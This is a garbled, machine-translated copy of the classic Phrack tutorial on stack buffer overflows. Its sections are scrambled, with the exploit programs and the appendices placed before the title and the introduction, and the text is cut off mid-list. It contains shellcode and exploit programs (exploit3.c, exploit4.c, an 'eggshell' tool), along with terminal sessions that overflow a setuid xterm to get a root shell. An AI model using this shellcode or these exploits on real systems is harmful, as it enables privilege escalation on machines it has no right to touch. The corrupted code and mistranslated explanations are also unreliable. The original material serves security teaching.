[ALEPH1] $ ./vulnerable $ EGG Segmentation Fault [ALEPH1] $ EXIT [ALEPH1] $ ./exploit2 600 200 USING Address: 0xBfffffCe8 [ALEPH1] $ ./vulnerable $ EGG Segmentation Fault [ALEPH1] $ EXIT . . . [ALEPH1] $ ./exploit2 600 1564 USING Address: 0xBfffff794 [ALEPH1] $ ./vulnerable $ EGG $ -------------------------------------------------- ---------------------------- As we see, this is not a very efficient process. Even if you know the stack Start address, taste Try guessed offset is almost impossible. We are likely to test hundreds of times, may not be allowed to be allowed to say. Question The key is that we must * exact * know the address starting at our code. If the deviation evens only one byte we You can only get paragraph error or illegal instruction errors. One way to improve the success rate is to fill in the front section of our overflow buffer Charge NOP instruction. Almost all processors have NOP instructions to perform empty operations. Common for delay purposes. We use it Fill the first half of the overflow buffer. Then put the shellcode in the middle section, followed by returning the address. If we are enough Fortunately, return the address to any location to the NOPS string, the NOP instruction will execute until we have encountered our SHELLCODE. In the Intel architecture, only one byte length is one byte, translation as machine code is 0x90. Assume the stack The start address is 0xFF, S represents shellcode, n represents NOP instructions, the new stack looks like this: Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address Buffer SFP RET A B C <------ [nnnnnnnnnnssssssssssss] [0xde] [0xde] [0xde] [0xDe] [0xDE] ^ | | | _____________________ | Stack top stack bottom The new crack program is as follows: Exploit3.c -------------------------------------------------- ---------------------------- #include #define default_offset 0 #define default_buffer_size 512 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void Main (int Argc, char * argv []) { Char * buff, * PTR; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); AddR = get_sp () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; For (i = 0; i BUFF [I] = NOP; PTR = BUFF ((BSIZE / 2) - (Strlen (shellcode) / 2); For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Memcpy (buff, "egg =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } -------------------------------------------------- ---------------------------- The buffer size we use is preferably about 100 bytes larger than the buffer to overflow. We are going to make it Place shellcode at the end of the spilled buffer, leave enough space for the NOP instruction, still use the address we speculate To override the return address. Here we want to overflow the buffer size of 512 bytes, so we use 612 bytes. Now use a new crack program to overflow our test program: -------------------------------------------------- ---------------------------- [aleph1] $ ./exploit3 612 Using address: 0xBffffdb4 [ALEPH1] $ ./vulnerable $ EGG $ -------------------------------------------------- ---------------------------- Wow! One hit! This improvement has improved our hit rate. Try one in a real environment. The down buffer overflows. Use the method we told on the XT library. In the example, we use XTERM (actually all The programs connected to the XT library have a vulnerability). To run x server on your computer and allow local connections. Set the Display variable. -------------------------------------------------- ---------------------------- [ALEPH1] $ export display =: 0.0 [ALEPH1] $ ./exploit3 1124 Using address: 0xBffffdb4 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG Warning: color name "隵 1F ° Bamboo ? @ よ? IN / SHI い い い い い い い い い い い い い い い い い い い い IM I I didn't buy it. (Truncated this is truncated) い い い い い い い い? ^ C [ALEPH1] $ EXIT [aleph1] $ ./exploit3 2148 100 Using address: 0xBffffd48 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG Warning: color name "隵 1F ° Bamboo ? へ @ よ? IN / SH Bamboo (Truncated this is truncated) 縃縃arning: Some Arguments in Previous Message Were Lost Illegal instruction [ALEPH1] $ EXIT . . . [ALEPH1] $ ./exploit4 2148 600 Using address: 0xBffffb54 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG Warning: color name "隵 1F ° Bamboo ? へ @ よ? IN / sh 鸗鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗鸗 鸗鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗鸗? (Truncated this is truncated) 縏鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 Arning: Some Arguments in Previous Message Were Lost Bash $ -------------------------------------------------- ---------------------------- Yurka! Just try to try it only! If xterm is installed with Suid Root, we already I got a root shell. Overflow of the small buffer ~~~~~~~~~~~~~~~~ Sometimes it is too small to overflow a buffer, so that shellcode can't go in, so return the address. Will be covered by the instead of the address we speculate, or shellcode is put in, but it can't fill it. Sufficient NOP instructions, which speculates that the success rate of the address is very low. To get from this program (small buffer) A shell, we must think other ways. This method introduced will only be able to access the program's environment variable Effective. What we do is put shellcode in an environment variable, then use this variable to address the address in memory. Make the buffer overflow. This method also improves the success rate of cracking work, because the environment of saving shellcode How big is it necessary to want to do it? When the program starts, the environment variable is stored at the top of the stack, and any modification action using STENV () will be in other The place to reassign space. The stack at the beginning is as follows: Our new program uses an additional variable, the variable size can accommodate Shellcode and NOP instructions. The new crack program is as follows: Exploit4.c -------------------------------------------------- ---------------------------- #include #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_esp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char * argv []) {char * buff, * ptr, * EGG; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I, Eggsize = Default_EGG_SIZE; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (Argc> 3) Eggsize = ATOI (Argv [3]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } IF (! (egg = malloc (eggsize))) { Printf ("Can't Allocate Memory./N); exit (0); } AddR = Get_ESP () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; PTR = EGG; For (i = 0; I * (PTR ) = NOP; For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Egg [Eggsize - 1] = '/ 0'; Memcpy (EGG, "EGG =", 4); Putenv (EGG); Memcpy (BUFF, "RET =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } -------------------------------------------------- ---------------------------- Try our vulnerability test program with this new crack program: -------------------------------------------------- ---------------------------- [ALEPH1] $ ./exploit4 768 USING Address: 0xBfffFDB0 [ALEPH1] $ ./vulnerable $ RET $ -------------------------------------------------- ---------------------------- Successful, try xterm: -------------------------------------------------- ---------------------------- [ALEPH1] $ export display =: 0.0 [ALEPH1] $ ./exploit4 2148 USING Address: 0xBfffFDB0 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ retent Warning: Color Name "Hey greetenly becomes greeten to hey I'll be greeten (Truncated this is truncated) Gutter Warning: Some Arguments in Previous Message Were Lost $ -------------------------------------------------- ---------------------------- One success! It significantly improved our success rate. Relying on cracking procedures and comparing environmental data How much, the address we speculate may also be higher than true value. Positive and negative offset can be tried. Looking for buffer overflow vulnerabilities ~~~~~~~~~~~~~~~~~~~~~ As mentioned earlier, the buffer overflow is a result of filling information that exceeds its processing capability to a buffer. Due to C There is no built-in boundary check, when writing a character array, if it exceeds the end of the array, it will overflow. Out. The standard C language library provides some string replication or add functions without boundaries. Including strcat (), STRCPY (), sprintf (), and vsprintf (). These functions operate on a string end of a NULL and Do not check the overflow situation. The Gets () function reads a row into the buffer from the standard input until the wrap or EOF. It is not Check the buffer overflow. Scanf () function family matches a series of non-spaced characters (% s), or from the specified collection (% []) When using non-empty series characters, use the character pointer to the array, and no maximum field width this option, There may be a problem. If the destination address of these functions is a fixed size buffer, the other parameter of the function is The user is entered in some form, it is likely to use the buffer overflow to crack it. Another common programming structure is to read a character from a standard input or a file using the While cycle. In the buffer, until the end of the line or the end, or what other termination is encountered. This structure usually uses GETC (), One of the fgetc (), or getchar () function. If there is no clear overflow check in the While loop, this process The order is very easy to be crack. This shows that grep (1) is a good tool command (helping you find a vulnerability in the program). Free exercise The source code for the system and its tools is readable. When you realize that there are actually a lot of business operating system tools and free software When the same source code is the same, the rest is simple! :-) Appendix A - SHELLCODE for different operating systems / architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386 / linux -------------------------------------------------- ---------------------------- JMP 0x1f POPL% ESI MOVL% ESI, 0x8 (% ESI) XORL% EAX,% EAX MOVB% EAX, 0x7 (% ESI) MOVL% EAX, 0xc (% ESI) MOVB $ 0XB,% Al MOVL% ESI,% EBX LEAL 0x8 (% ESI),% ECX LEAL 0xC (% ESI),% EDX INT $ 0x80 XORL% EBX,% EBX MOVL% EBX,% EAX INC% EAX INT $ 0x80 Call -0x24 .String / "/ bin / sh /" -------------------------------------------------- ---------------------------- Sparc / Solaris -------------------------------------------------- ---------------------------- SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 And% SP,% SP,% O0ADD% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% sp - 16] ST% SP, [% sp - 8] ST% G0, [% sp - 4] MOV 0x3b,% G1 TA 8 XOR% O7,% O7,% O0 MOV 1,% G1 TA 8 -------------------------------------------------- ---------------------------- SPARC / SunOS -------------------------------------------------- ---------------------------- SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 And% SP,% SP,% O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% sp - 16] ST% SP, [% sp - 8] ST% G0, [% sp - 4] MOV 0x3b,% G1 MOV -0x1,% L5 TA% L5 1 XOR% O7,% O7,% O0 MOV 1,% G1 TA% L5 1 -------------------------------------------------- ---------------------------- Appendix B - Universal Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h -------------------------------------------------- ---------------------------- #if Defined (__ i386__) && defined (__ linux__) #define NOP_SIZE 1 Char NOP [] = "/ x90"; Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } #ELIF Defined (__ sparc__) && defined (__ sun__) && defined (__ SVR4__) #define NOP_SIZE 4 CHAR NOP [] = "/ xac / x15 / xa1 / x6e"; Char shellcode [] = "/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E" "/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0" "/ XDC / X23 / XBF / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / X91 / XD0 / X20 / X08" "/ x90 / x1b / xc0 / x0f / x82 / x10 / x20 / X01 / X91 / XD0 / X20 / X08 "; Unsigned long get_sp (void) { __ASM __ ("OR% SP,% SP,% I0"); } #ELIF Defined (__ sparc__) && defined (__ sun__) #define NOP_SIZE 4 CHAR NOP [] = "/ xac / x15 / xa1 / x6e"; Char shellcode [] = "/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E" "/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0" "/ xdc / x23 / xbf / xf8 / xc0 / x23 / xbf / xfc / x82 / x10 / x20 / x3b / xaa / x10 / x3f / XFF" "/ x91 / xd5 / x60 / x01 / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd5 / x60 / x01" Unsigned long get_sp (void) { __ASM __ ("OR% SP,% SP,% I0"); } #ENDIF -------------------------------------------------- ---------------------------- Eggshell.c -------------------------------------------------- ---------------------------- / * * Eggshell v1.0 * * Aleph one / aleph1@underround.org * / #include #include #include "shellcode.h" #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 Void Usage (Void); Void Main (int Argc, char * argv []) { Char * PTR, * BOF, * EGG; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I, N, M, C, Align = 0, Eggsize = Default_EGG_SIZE DEFT_EGG_SIZE While (C = Getopt (Argc, Argv, "A: B: E: o:"))! = EOF Switch (c) { Case 'a': Align = ATOI (OPTARG); Break; Case 'b': Bsize = atoi (OPTARG); Break; Case 'E': Eggsize = atoi (OPTARG); Break; Case 'o': OFFSET = ATOI (OPTARG); Break; Case '?': USAGE (); exit (0); } IF (Strlen (shellcode> eggsize) { Printf ("shellcode is larger the the egg./N"); exit (0); } IF (! (bof = malloc (bsize)))) { Printf ("Can't Allocate Memory./N); exit (0); } IF (! (egg = malloc (eggsize))) { Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("[buffer size: / t% d / t / tegg size: / t% d / Taligment: / T% D / T] / N", Bsize, Eggsize, Align; Printf ("[Address: / T0x% X / Toffset: / T / T% D / T / T / T / T / T%); Addr_ptr = (long *) BOF; For (i = 0; i * (addr_ptr ) = addr; PTR = EGG; For (i = 0; i <= eggsize - strlen (shellcode) - NOP_SIZE; i = NOP_SIZE) FOR (n = 0; n M = (N align)% NOP_SIZE; * (PTR ) = NOP [M]; } For (i = 0; i * (PTR ) = shellcode [i]; Bof [BSIZE - 1] = '/ 0'; Egg [Eggsize - 1] = '/ 0'; Memcpy (EGG, "EGG =", 4); Putenv (EGG); Memcpy (BOF, "BOF =", 4); Putenv (BOF); SYSTEM ("/ bin / sh"); } Void usage (void) { (void) FPRINTF (stderr, "USAGE: Eggshell [-a ET>] / N "); } -------------------------------------------------- ---------------------------- .oo phrack 49 oo. Volume Seven, Issue Forty-Nine File 14 of 16 Bugtraq, R00T, And Underground.org Bring you Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Smashing The Stack for Fun and Profit Trample in stack with entertainment and profit (Principle and practice of buffer overflow) Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Originally by aleph one Aleph1@underground.org Translation xuzq@chinasafer.com Www.chinasafer.com 'Trample Stack' [C Language Programming] n. In many C language implementations, it is possible to pass the write routine The end of the array declared to destroy the executable stack. The so-called 'trample stack' uses The code can cause the routine to return an exception, which jumps to any address. This has led to some extreme Sanxious data related vulnerabilities (already known). Its variants include stack lamination (TRASH THE) STACK, Scribble The Stack, Stack Destroy; The term Mung The Stack is not used because this never deliberately caused. See SPAM? Also see the vulnerability of the same name, the NC (Fandango on Core), memory leak (Memory Leak), precedence lossage, thread slip, and Overrun Screw. Conclude ~~~~~~~ In the past few months, the buffer overflow vulnerability to be discovered and utilized. For example, Syslog, Splitvt, Sendmail 8.7.5, Linux / Freebsd Mount, XT Library, AT, etc. Try Now Interpretation What is buffer overflow and how to use it. The basic knowledge of compilation is required. The concept of virtual memory, and the experience of using GDB is very beneficial , But not required. We also assume that the operating system is Linux using the Intel X86 CPU. We give several basic definitions before the beginning: the buffer, simply coming is a continuous computer The storage area can save multiple instances of the same data type. C Programmers usually deal with the word buffer array. The most common is the character array. Array, like all variables in the C language, can be declared as static or dynamic The static variable is positioned in the data segment when the program is loaded. The dynamic variable is positioned in the stack at the time of the program. Overflow, it is bluntly filled, so that the contents exceed the top, edge, or boundary. We only care about The overflow problem of the buffer, that is, the stack-based buffer overflow. Process memory organizational form ~~~~~~~~~~~~~~~~~~~~ In order to understand what is a stack buffer, we must first understand that a process is in the form of organization. The memory exists in memory. The process is divided into three areas: text, data and stack. We focus on the stack Area, but first introduces other areas in order to briefly. The text area is determined by the program, including code (instruction) and read-only data. This area is equivalent to executable The text segment of the file. This area is usually marked as read-only, and any operations written in it will cause paragraph errors. Segmentation Viology. The data area contains data that have been initialized and not initialized. Static variables are stored in this area. Number According to the Data-BSS segment in the executable of the executable. Its size can be changed by the system to call BRK (2). If the BSS data expansion or user stack consumes the available memory, the process will be blocked, waiting to have A larger memory space is run again. The new memory is added to the middle of the data and stack segments. / ----------------- / Memory low address | | | | Text | | | | | ------------------ | (Initialized) | | Data | | (Not initialized) | | ------------------ | | | | Stack | | | | / ----------------- / Memory high address Fig. 1 process memory area What is a stack? ~~~~~~~~~~~~~ Stack is an abstract data type that is often used in computer science. The objects in the stack have a characteristic: The last object in the stack is always first, which is often referred to as the next first (LIFO) queue. Some operations are defined in the stack. Two most important thing is PUSH and POP. Push operation Add to one in the top of the stack Elements. In contrast, the POP operation is removed from the top of the stack and minimizes the size of the stack. Why use the stack? ~~~~~~~~~~~~~~~~ Modern computer is designed to understand the advanced language in people's minds. When using advanced language construction The most important technology is the process of process and functions. From this point, a process call can be Change the program's control process as the JUMP command, but is different from the jump, when the work is completed, The function returns control to the statement or instructions after the call. This advanced abstraction is achieved by the help of the stack. The stack is also used to dynamically allocate space used in the function, and the function is sent to the function transfer parameters and functions. Return value also uses the stack. Stack area ~~~~~~~~~~ The stack is a continuous memory for saving data. A register named stack pointer (SP) pointing to the top of the stack. The bottom of the stack is in a fixed address. The size of the stack is dynamically adjusted by the kernel during runtime. CPU implementation instruction PUSH and POP, add elements to the stack and remove elements from it. The stack consists of a logical stack frame. When the call function is called, the logical stack frame is pressed into the stack, and the function is logical when the function returns. The stack frame is popped up from the stack. The stack frame includes the parameters of the function, local variables of the function, and restore the previous stack The data required for the frame, which includes the value of the instruction pointer (IP) when the function is called. The stack can also grow down (to the memory low address) can also grow up, depending on the specific implementation. In the examples, the stack is growing down. This is the implementation of many computers, including Intel, Motorola, SPARC and MIPS processors. Stack pointers (sp) are also dependent on specific implementation. It can point to the last address of the stack, Or point to the next idle available address after the stack. In our discussion, the SP points to the last address of the stack. In addition to the stack pointer (SP pointing to the low address at the top of the stack), in order to use convenience, there is a point-to-frame fixed The pointer of the address is called frame pointer (FP). Some articles are called local base pointers (LB-local base pointer). In theory, local variables can be referenced by SP inclination. However, when there is a word being pressed and out of the stack, this Some offsets have changed. Although the compiler can track the word operation in the stack, it can be corrected offset. Quantity, but in some cases, it is not possible. In all cases, to introduce a considerable management overhead. And some On machines, such as Intel processors, multiple instructions are required to access a variable from the SP mesh. Therefore, many compilers use second registers, FP, can be referenced for local variables and function parameters, Because their distance to FP will not be affected by PUSH and POP operations. In Intel CPU, BP (EBP) is used for this Of a target. In the Motorola CPU, FP can be made in addition to any address register other than the A7 (Stack Pointer SP). Considering the growth direction of our stack, starting from the position of the FP, the offset of the function parameters is positive, and the local The offset of the variable is negative. The first thing you must do when a routine is called is to save the previous FP (so when the routine is exited. Restore). Then it copies the SP to the FP, create a new FP, move the SP forward as a local variable reserved space. This is called The prelude of the routine (proLog) work. When the routine exits, the stack must be cleaned, this is called the routine (Epilog) Work. Intel's Enter and Leave Directions, Motorola's Link and Unlink Directions can be used for Effectively prelude and end. Below we use a simple example to show the appearance of the stack: EXAMPLE1.C: -------------------------------------------------- ---------------------------- Void Function (int A, int b, int c) { Char buffer1 [5]; Char buffer2 [10]; } Void main () { Function (1, 2, 3); } -------------------------------------------------- ---------------------------- In order to understand what is done when calling function (), we compile the GCC -s option to produce Give profile code output: $ GCC -S -O EXAMPLE1.S EXAMPLE1.C Output by viewing assembly language, we see that the call to function () is translated: Pushl $ 3 Pushl $ 2 Pushl $ 1 Call function Press the three parameters of the Function into the stack in order from the previous order, and then call function (). Instruction CALL The instruction pointer (IP) will also be pressed into the stack. We call this saved ip as the return address (RET). In the function The first thing is the prelude work of routines: Pushl% EBP MOVL% ESP,% EBP SUBL $ 20,% ESP Press the frame pointer EBP into the stack. Then copy the current SP to EBP, make it a new frame pointer. We put this Saved FP is called SFP. Next, the value of the SP is reduced, and the space is reserved for local variables. We must keep in mind that memory can only be addressed in words. One word here is 4 bytes, 32 bits. So 5 bytes The buffer will occupy the memory space of 8 bytes (2 words), and 10 bytes of buffers will take up 12 bytes (3 words) Memory space. This is why SP has to lose 20. So we can imagine function () when it is called. Stack of appearances (each space represents a byte): Memory low address memory high address Buffer2 Buffer1 SFP RET A B C <------ [] [] [] [] [] [] [] Stack top stack bottom Buffer overflow ~~~~~~~~~~~~ The buffer overflow is the result of filling a buffer exceeding the data that exceeds its processing capabilities. How to use this Often programming errors to perform any code? Let's take a look at another example: EXAMPLE2.C -------------------------------------------------- ---------------------------- Void function (char * str) { Char buffer [16]; STRCPY (BUFFER, STR); } Void main () { CHAR LARGE_STRING [256]; INT I; For (i = 0; i <255; i ) Large_string [i] = 'a'; Function (large_string); } -------------------------------------------------- ---------------------------- The function of this program contains a typical memory buffer encoding error. This function does not perform border check The string provided, incorrectly uses strcpy () without using Strncpy (). If you run this program Segment error will be generated. Let us look at the appearance of the stack when calling the function: Memory low address memory high address Buffer SFP RET * STR <------ [] [] [] [] Stack top stack bottom What happened here? Why do we get a paragraph error? The answer is simple: strcpy () will * STR Content (Larger_String []) Copy to buffer [] until an empty character is hit in the string. Obviously, Buffer [] ratio * STR is much smaller. Buffer [] only 16 bytes long, but we try to fill in 256 bytes in the inside. This means that 250 bytes in the stack are overwritten after Buffer. . Including SFP, RET, and even * STR! We have filled Large_String all filled into A. A of the hexadecimal value of 0x41. This means now return The site is 0x41414141. This has been outside the address space of the process. When the function returns, the program tries to read the return. The next instruction of the address, at this time we get a paragraph error. So the buffer overflow allows us to change the return address of the function. This allows us to change the execution process of the program. Now returning to the first example, recalling the appearance of the stack at the time: Memory low address memory high address Buffer2 Buffer1 SFP RET A B C <------ [] [] [] [] [] [] [] Stack top stack bottom Now try to modify our first example, let it override the return address, and make it execute any code. In the stack in Buffer1 [], it is SFP, and SFP is back to the address. RET is four from the end of buffer1 [] Bytes. It should be remembered that buffer1 [] is actually two words, 8 bytes long. So return the address from buffer1 [] The head calculates 12 bytes. We will use this method to modify the return address, skip the function calls later assignment statement 'x = 1;', in order to do this, we add 8 bytes. The code looks like this: EXAMPLE3.C: -------------------------------------------------- ---------------------------- Void Function (int A, int b, int c) { Char buffer1 [5]; Char buffer2 [10]; INT * RET; Ret = buffer1 12; (* RET) = 8; } Void main () { INT X; X = 0; Function (1, 2, 3); X = 1; Printf ("% d / n", x); } -------------------------------------------------- ---------------------------- We add the address of the buffer1 [] 12, the resulting new address is where the address is stored. We want to skip The assignment statement directly executes the Printf call. How do you know that you should return to 8 bytes? We have previously used After a test value (such as 1), compile the program, the tool GDB: -------------------------------------------------- ---------------------------- [ALEPH1] $ GDB EXAMPLE3 GDB Is Free Software and You Are Welcome to Distribute Copies of IT Under Certain Conditions; Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ... (No Debugging Symbols Found) ... (GDB) Disassemble Main Dump of assembler code for function main: 0x8000490 0x8000491 0x8000493 0x8000496 0x800049D 0x800049f 0x80004A1 0x80004A3 0x80004A8 0x80004AB 0x80004B2 0x80004B5 0x80004B6 0x80004BB 0x80004c0 0x80004C3 0x80004c5 0x80004C6 0x80004c7 -------------------------------------------------- ---------------------------- We see when invoing Function (), RET will be 0x8004a8, we want to skip the value of 0x80004AB Instructions. The next instruction you want to perform is 0x8004B2. Simple calculation tells us that the distance between the two instructions is 8 bytes. Shell Code ~~~~~~~~~~ Now we can modify the return address to change the process of execution, what do we want to do? In most cases, we just want the program to give birth to a shell. From this shell, you can execute anyone What you want. But what if we don't have this code in the program we try to crack? How can I put any instructions in the address space of the program? The answer is to put the code you want to execute. We want to overflow the buffer and override the return address of the function to point to this buffer. Assume the stack The starting address is 0xFF, and S represents the code we want to execute, the stack looks like this: Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address Buffer SFP RET A B C <------ [sssssssssssssssssssss] [SSSS] [0xD8] [0x01] [0x02] [0x03] ^ | | ____________________________ | Stack top stack bottom The C language code that is derived from a shell is like this: shellcode.c -------------------------------------------------- --------------------------- #include Void main () { Char * name [2]; Name [0] = "/ bin / sh"; Name [1] = NULL; Execve (Name [0], Name, NULL); } -------------------------------------------------- ---------------------------- In order to find out what it is like this program, we compile it, then sacrifies the debug tool GDB. Remember Use the -static flag when compiling, otherwise the real code of the system calls Execve will not include in the assembly, Instead, a reference to the dynamic C language library, the real code is to be coupled when the program is loaded. -------------------------------------------------- ---------------------------- [aleph1] $ gcc -o shellcode -ggdb -static shellcode.c [ALEPH1] $ GDB shellcode GDB Is Free Software and You Are Welcome to Distribute Copies of IT Under Certain Conditions; Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ... (GDB) Disassemble Main Dump of assembler code for function main: 0x8000130 0x8000131 0x8000133 0x8000136 0x800013D 0x8000144 0x8000146 0x8000149 0x800014a 0x800014D 0x8000153 0x8000156 0x8000158 0x8000159 End of assembler dump. (GDB) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__ execve>: Pushl% EBP 0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP 0x80002BF <__ execve 3>: Pushl% EBX 0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX 0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX 0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX 0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX 0x80002CE <__ execve 18>: int $ 0x80 0x80002d0 <__ execve 20>: MOVL% EAX,% EDX 0x80002d2 <__ execve 22>: Testl% EDX,% EDX 0x80002d4 <__ execve 24>: JNL 0x80002e6 <__ execve 42> 0x80002d6 <__ execve 26>: NEGL% EDX 0x80002d8 <__ execve 28>: Pushl% EDX 0x80002d9 <__ execve 29>: Call 0x8001a34 <__ normal_errno_location> 0x80002de <__ execve 34>: POPL% EDX 0x80002df <__ execve 35>: MOVL% EDX, (% EAX) 0x80002e1 <__ execve 37>: MOVL $ 0xfffffffff,% EAX 0x80002e6 <__ execve 42>: POPL% EBX 0x80002e7 <__ execve 43>: MOVL% EBP,% ESP 0x80002e9 <__ execve 45>: POPL% EBP 0x80002ea <__ execve 46>: RET 0x80002eb <__ execve 47>: NOP End of assembler dump. -------------------------------------------------- ---------------------------- Let's take a look at what happened here. First start research from main: -------------------------------------------------- ---------------------------- 0x8000130 0x8000131 0x8000133 This is the preparation of routines. First save the old frame pointer, use the current stack pointer as a new frame pointer, Then keep space for local variables. Here is: Char * name [2]; That is, two pointers of the string. The length of the pointer is a word, so it retains 2 words (8 bytes) space. 0x8000136 We copied 0x80027B8 (string "/ bin / sh") this value to the first pointer in Name [], this Equivalent to: Name [0] = "/ bin / sh"; 0x800013D We copy value 0x0 (null) to the second pointer in Name [], which is equivalent to: Name [1] = NULL; Reactive call to execve () begins with below: 0x8000144 We put the parameters of Execve () in the stack in the backward order, starting from NULL. 0x8000146 Place the address of the Name [] in the EAX register. 0x8000149 Then press the Name [] address in the stack. 0x800014a Put the address "/ bin / sh" address in the EAX register 0x800014D Then, press the address "/ bin / sh" address into the stack. 0x800014e Call the library routine execve (). This call instruction presses the IP (instruction pointer) into the stack. -------------------------------------------------- ---------------------------- Now to Execve (). Note that we use Intel-based Linux system. The details of the system call The operating system and the CPU are different. Some put the parameters into the stack, some save it in the register. Some use Soft interrupt jump into the kernel mode, some use far call. Linux saves the parameters sent to the system call In the register, and use a soft interrupt to jump into the kernel mode. -------------------------------------------------- ---------------------------- 0x80002bc <__ execve>: Pushl% EBP 0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP 0x80002BF <__EXECVE 3>: Pushl% EBX routine preparation work. 0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX Put 0xB (decimal 11) into the register EAX (original text). 0xB is the index of the system call table 11 is Execve. 0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX Place the address of "/ bin / sh" in the register EBX. 0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX Place the address of the Name [] in the register ECX. 0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX Place the address of the empty pointer into the register EDX. 0x80002CE <__ execve 18>: int $ 0x80 Enter the kernel mode. -------------------------------------------------- ---------------------------- It can be seen that there is nothing more job to do, and all things to do are summarized as follows: a) Place the string "/ bin / sh" ending with NULL to somewhere. b) put the address "/ bin / sh" address to memory somewhere, followed by an empty long word (Null Long Word) . c) Put 0xB in the register EAX. d) Place the address of the string "/ bin / sh" to the register EBX. e) Place the address of the string "/ bin / sh" address to the register ECX. (Note: Original D and E step reverse EBX and ECX) f) Place the 